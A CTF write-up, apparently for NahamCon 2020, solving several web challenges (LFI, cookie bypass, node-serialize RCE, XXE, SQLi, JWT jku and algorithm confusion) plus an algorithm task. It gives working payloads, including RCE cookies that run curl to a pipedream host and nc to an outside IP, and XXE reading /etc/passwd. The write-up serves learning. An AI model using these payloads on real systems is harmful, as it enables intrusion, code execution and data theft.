Agent 95

https://developers.whatismybrowser.com/useragents/parse/2520-internet-explorer-windows-trident

I googled windows 95 IE user agent. I set that on user-agent http header.

 

flag{user_agents_undercover}

 

Localghost

Auditing HTML code.

It is suspicious that there are two kinds of jquery library. Let's sneak into the second one which is not from CDN.

 

Let's dump the local variable _0xbcec

There is suspicious value right after string 'flag'. Let's base64 decode that.

 

Gotcha!

Phphonebook

http://jh2i.com:50002/phphonebook.php

http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=phphonebook.php

It seems LFI vulnerability. I used php filter to leak the php code with base64 encoding.

Let's decode base64 string.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

    	if (isset($emergency)){
    		echo(file_get_contents("/flag.txt"));
    	}
    ?>
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>

With extract function, if POST body parameter named emergency exists, you can get the flag.

flag{phon3_numb3r_3xtr4ct3d}

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

 

Official Business

I tried sqli but it not worked...

I just guessed to navigate /robot.txt

what the?!

 

 

#!/usr/bin/env python3

from flask import (
    Flask,
    render_template,
    request,
    abort,
    redirect,
    make_response,
    g,
    jsonify,
)
import binascii
import hashlib
import json

app = Flask(__name__)
app.secret_key = open("secret_key", "r").read().strip()
FLAG = open("flag.txt", "r").read().strip()


def do_login(user, password, admin):

    cookie = {"user": user, "password": password, "admin": admin}
    cookie["digest"] = hashlib.sha512(
        app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
    ).hexdigest()

    response = make_response(redirect("/"))
    response.set_cookie("auth", binascii.hexlify(json.dumps(cookie).encode("utf8")))

    return response


@app.route("/login", methods=["POST"])
def login():

    user = request.form.get("user", "")
    password = request.form.get("password", "")

    if (
        user != "hacker"
        or hashlib.sha512(bytes(password, "ascii")).digest()
        != b"hackshackshackshackshackshackshackshackshackshackshackshackshack"
    ):
        return abort(403)
    return do_login(user, password, True)


def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if (
                digest
                != hashlib.sha512(
                    app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
                ).hexdigest()
            ):
                return False, {}
        except:
            pass

    return True, cookie


@app.route("/logout", methods=["GET"])
def logout():

    response = make_response(redirect("/"))
    response.set_cookie("auth", "", expires=0)
    return response


@app.route("/")
def index():

    ok, cookie = load_cookie()
    if not ok:
        return abort(403)

    return render_template(
        "index.html",
        user=cookie.get("user", None),
        admin=cookie.get("admin", None),
        flag=FLAG,
    )


@app.route("/robots.txt")
def source():
    return "
" + open(__file__).read() + "
"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=1337)

Auditing the source code, login process pass is impossible.

but, we can bypass the load_cookie() function.

in try except statement, let's evoke the error then we got the valid return value.

If there is no field named 'digest' in cookie, in load_cookie function, cookie.pop("digest") statement will evoke error. But, because of try-except block, it will escape from the procedure, just return the True value. It is simple implementation logic bug about that.

 

import json
import binascii
d = {}
d['user'] = 'admin'
d['admin'] = 'admin'
print (binascii.hexlify(json.dumps(d).encode('utf8'))
b'7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d'

set the cookie auth=7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d;

and do request to the / endpoint.

flag{did_this_even_pass_code_review}

Seriously

 

I tried to register by admin/admin, MongoDB error occured.

 

I joined with guest/guest

Session is JWT based. It uses RS256.

There is the function add to cart, the cart data is stored in cookie.

 

 

Checkout function is disabled.

Server stack seems Express.js + mongodb.

 

I could evoke error on /cart page.

Invalid cart cookie value can occur error on server side.

document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

 

https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf

I refered the document about node-serialize module RCE vulnerability.

var y = {
rce : function(){
require('child_process').execSync('ls');
	},
}
var serialize = require('node-serialize');
var ser = serialize.serialize(y);
console.log("Serialized: \n" + ser);

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'curl https://enjm0grb1zb3c.x.pipedream.net/hello\');}()"}';
serialize.unserialize(payload)
encodeURIComponent(btoa('{"items":{"0":{"name":"{{flag}}","price":64.99,"count":1}}}'))
document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"name":{},"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'ls\');}()"}'))+';'

Server crashes...

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'nc 54.180.159.248 56628\');}()"}'))+';'

{"error":null,"cmd":"nc 54.180.159.248 56628","file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"options":{"shell":true,"file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stdio":[{"type":"pipe","readable":true,"writable":false},{"type":"pipe","readable":false,"writable":true},{"type":"pipe","readable":false,"writable":true}]},"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stderr":{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]},"stdout":{"type":"Buffer","data":[]},"pid":736,"output":[null,{"type":"Buffer","data":[]},{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]}],"signal":null,"status":127}

 

Code execution seems occured.

But we cannot get the standard output.

But we can get standard error.

We should evoke the error.

Let's decode stderr value with python.

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`pwd`\');}()"}'))+';'
>>> def decode(a):
...     return ''.join(list(map(chr, a)))
...
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10])
'/bin/sh: 1: nc: not found\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,83,121,110,116,97,120,32,101,114,114,111,114,58,32,69,79,70,32,105,110,32,98,97,99,107,113,117,111,116,101,32,115,117,98,115,116,105,116,117,116,105,111,110,10])
'/bin/sh: 1: Syntax error: EOF in backquote substitution\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,47,104,111,109,101,47,117,115,101,114,58,32,80,101,114,109,105,115,115,105,111,110,32,100,101,110,105,101,100,10])
'/bin/sh: 1: /home/user: Permission denied\n'

To get the feed back the command should evoke error.

Let's do with backtick ` to do bash subcommand.

`pwd` ⇒ /home/user

`ls` ⇒ app.js

`ls /` ⇒ bin

`ls | base64` ⇒

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`cat flag.txt`\');}()"}'))+';'

 

flag{seriously_deserialization_with_plants}

Extraterrestrial

딱봐도 XXE문제같다.

It is obviously XXE challenge.

https://gracefulsecurity.com/xxe-cheatsheet-xml-external-entity-injection/

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>

<message>&ent;</message>

Result

array(1) {
  ["ent"]=>
  string(926) "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
"
}

Let's read /flag.txt

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>

<message>&ent;</message>

 

flag{extraterrestrial_extra_entities}

Rejected Sequel

It seems to be sql injection problem.

select * from table where name like "%{input}%"

Whitespace seems to be filtered. Let's substitute the space with /**/ string.

 

flag{at_least_this_sequel_got_published}

Fake File

 

flag{we_should_have_been_worried_about_u2k_not_y2k}

Alkatraz

https://twpower.github.io/155-use-file-or-command-ouput-in-while-loop

https://gist.github.com/PSJoshi/04c0e239ac7b486efb3420db4086e290

 

flag{congrats_you_just_escaped_alkatraz}

Flag Jokes

It seems to problem about cookie(JWT)

JWT를 쓴다. 디코딩해보자.

 

{
  "alg": "RS256",
  "jku": "http://localhost:5000/static/jwks.json",
  "kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"
}

SSRF?!

Let's insert some url to jwt header.

 

document.cookie=encodeURIComponent="token=" + ([btoa('{"alg": "RS256","jku": "https://ene9h9dntn4f.x.pipedream.net/jwks.json","kid":"sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"}'), btoa('{"username":"eins"}'), '123'].join('.')) + ";"

Obviously, server fetch the key data from the url.

I tested on requestbin, the server request to the endpoint.

 

There is jwk standard. Previously, I didn't know about that

 

https://connect2id.com/products/nimbus-jose-jwt/examples/jwk-generation#oct

https://qiita.com/takdcloose/items/d25fff32c98b48b3c648

https://mkjwk.org/

It is difficult to me, I googled some site which make us a sample jwk.

I googled jwk to pem converter.

https://www.npmjs.com/package/jwk-to-pem

https://developer.aliyun.com/mirror/npm/package/jwk-to-pem

 

var jwkToPem = require('jwk-to-pem');
var jwk = {
    "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
    "kty": "RSA",
    "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
    "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
    "e": "AQAB",
    "use": "sig",
    "kid": "einstrasse",
    "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
    "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
    "alg": "RS256",
    "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
    "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
};

var pub = jwkToPem(jwk);
var priv = jwkToPem(jwk, {private: true});
console.log(pub);
console.log(priv);
D:\ctf\2020-NahamCon>node do.js
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtXIwA2OpUfzF2B/M4WdD
wOG0tq4xcqaCJzdAMfd/YRaMkM9cKyHmW+sh3OaXew+NeA/V836j/HSW88tjuMs6
YXcHUj1+A+5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK/eXKTvSYJ++61/tcGZL3XUV
5MVPznXsoNspNk/SUYPrtkh8z0cwJLAurZo/uTtlOguOQVD3aWd8Lb9zkREBp+8z
UuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQ
SVj8Qb+FJfe3rfxPX2JGJknyQGOmdCec9e3bg/OvrtPzBQl8e96J2uxOkchWnnp6
XQIDAQAB
-----END PUBLIC KEY-----

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1cjADY6lR/MXY
H8zhZ0PA4bS2rjFypoInN0Ax939hFoyQz1wrIeZb6yHc5pd7D414D9XzfqP8dJbz
y2O4yzphdwdSPX4D7lcveSMkUCcHAhgg7tVjBsmkqG+jTEwr95cpO9Jgn77rX+1w
ZkvddRXkxU/Odeyg2yk2T9JRg+u2SHzPRzAksC6tmj+5O2U6C45BUPdpZ3wtv3OR
EQGn7zNS7PNEnTVksbYi+Yej0AaR3eLzvocxACLmDNaJ6FY2BY1HceFRJ56Ubeu8
3hsraJBJWPxBv4Ul97et/E9fYkYmSfJAY6Z0J5z17duD86+u0/MFCXx73ona7E6R
yFaeenpdAgMBAAECggEAIANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp/fVpbu
6CHd5jJN/YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB+Ekt5
TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq/hqM8+szdXRsIzXs
PINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC+ebLRyHt3pzQ/W9wkvzou
B/g+6IecImXdWTtUZePvPKlf/wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoF
OcY6o/hrXV33O+vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQKBgQD0vA94xzOXXggEdg6Q
vJag5Q8Prbu2uhE6gI4B4r065vrUvWsiPhCECA5YD5YL7bzneD/rHMFcVMGaMCHO
VeSiqQLagEseKLU3tY6Pw9l49rahFwsa8Z2b5ZEw9Td8ZttTUllC2hZ+9m89XJGF
mEzH1sue7efRgRT7flTt0Ktg4QKBgQC9zFaJx0eaK2XFv5Zxlr29fF04cffILFKc
gBljnRbLpxyuKPDc8k7sCmeet6OBSS5ZVCslaneo4NG9RHCo1iLiU1KbYtaWIVaz
u5cSdm6VzVvkT5v70OTou+QYWeUl59t/sghBJfGEPkwapbCfc9ydz2icu/JbwQiW
r8Ne3Ec8/QKBgQDiVfJxHrll6f68MXqy/NbJok3VkDUkftxkIHQ05j9fdDLSAQRN
vNyFXvX1FyULjyi/YYSrqgJho7kRIiaBrwouLOSIs1HFaJyAExbveo9rwa+RN8B7
gKzkeuFWR9Ky6GU6n9QRcaSQctTaCPxEc1+/CbVzHE7igOCo3mMpNWzpwQKBgQCd
cks/lF7jl6ifeKV2qRPRgr9aOcDQ/2Owi9uD9SaZ3pE+MJxOzXuG98KpubEbaPfY
BqicK0wEfiu/lGzYwnrBwVk/qahVdmaURsO1/yURg//8z8WYCdw67NL1GG2tGj/O
GIQcdzt49qzvVg/E1rpm903S517PmrxjNH8fzCAUiQKBgF0kntux7WpZ2DAkdmdx
Caa81AdCtX4HE68BPJcjUw9ZZDW7mTyDYag2Ae8X2/cq60H7QmlFE6gqKsjr47qG
BmYkAPqRXO97zfCk2wLfI0jP21EkytAurL7nfMGB9B14Wiyt2hRFgObNSkcdXCzY
FrW2ObTcROnMg88xutFJi5ic
-----END PRIVATE KEY-----

 

I made public and private ceritifcate of jwk.

 

I used jwt.io to make valid jwt payload.

It didn't worked, so I tried another format of jwk.

The sample in the middle worked!

{
    "keys": [
        {
            "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
            "kty": "RSA",
            "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
            "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
            "e": "AQAB",
            "use": "sig",
            "kid": "einstrasse",
            "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
            "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
            "alg": "RS256",
            "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
            "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
        }
    ]
}

flag{whoops_typo_shoulda_been_flag_jwks}

Algorithms - Alien

2차원 누적합을 사용하면, 구간 합을 //(O(1)//)만에 구할 수 있다. 총 시간복잡도는 //(O(N^4)//)인데, //(N=500//)이므로 계산량은 625억 정도가 된다. 보통 1억번의 연산이 1초 정도 걸리므로, 대충 600초=10분 정도의 시간이 소요된다.

 

Using 2nd dimension cumulative summation, you can easily get range summation in //(O(1)//) time complexity. Then, total time complexity is //(O(N^4)//), while //(N=500//), total computing amount is about 62.5 billions.

Average CPU runs 100 million arithmetic for seconds, roughly 600 seconds(=10 minutes) will take to complete computation.

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
#define endl '\n'
ll accu[505][505];
ll sign[505][505];
ll g(int x1, int y1, int x2, int y2) {
	return accu[x2][y2] - accu[x2][y1 - 1] - accu[x1 - 1][y2] + accu[x1 - 1][y1 - 1];
}
ll s(int x1, int y1, int x2, int y2) {
	return sign[x2][y2] - sign[x2][y1 - 1] - sign[x1 - 1][y2] + sign[x1 - 1][y1 - 1];
}
int main() {

	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			int tmp;
			scanf("%d", &tmp);
			accu[i][j] = accu[i][j - 1] + tmp;
			sign[i][j] = sign[i][j - 1] + (tmp == -1);
		}
	}
	puts("got input!");
	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			accu[j][i] += accu[j - 1][i];
			sign[j][i] += sign[j - 1][i];
		}
	}
	puts("calc 누적합!");
	ll ans = 0;
	for (int i = 1; i <= 500; i++) {
		printf("Progress %d/500\n", i);
		for (int j = 1; j <= 500; j++) {
			for (int x = i; x <= 500; x++) {
				for (int y = j; y <= 500; y++) {
					ll add = g(i, j, x, y);
					if (add % 13 == 0) {
						if (s(i, j, x, y) & 1) {
							add = -add;
						}
						ans += add;
					}
				}
			}
		}
	}
	cout << ans << endl;
	return 0;
}

flag{7508511543}

 

Web - Broken Token

소스코드를 보면 웹에서 JWT를 사용한다. 그런데, 디코딩을 할 때에는 jwt 알고리즘을 명시적으로 선언해놓지 않았다. 따라서 공개키 암호 방식인 RS256대신 대칭키 암호 방식인 HS256를 강제하게 해서 jwt를 변조할 수 있다.

Inspecting the source code, it using JWT. Then, decoding phase, there is no explicit algorithm indication.

Thus, by crafting the JWT header, we can enforce server to use HS256 which is symmetric key cryptographical signiture.

 

자세한 공격 프로세스는 이 링크에 자세히 나와있다.

Detailed attack prcess is in this link

 

아래 내용은 링크가 깨질 경우를 대비한 링크 내용 카피본이다

Collapsed contents contain the back-up of the link contents, for the case of link is broken.

더보기

key.pem

-----BEGIN PUBLIC KEY-----
  MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
  NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
  1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
  H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
  ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
  2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
  KwIDAQAB
  -----END PUBLIC KEY----

이 값을 Ascii hex로 변경한다.

Transform the pem data to ascii hex.

cat key.pem | xxd -p | tr -d "\\n"

이 경우 아래 결과를 얻게 된다.

Result of above command is below.

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이를 이용해서 JWT header와 payload를 서명해보도록 하자.

Let's sign the jwt header and payload with the key.

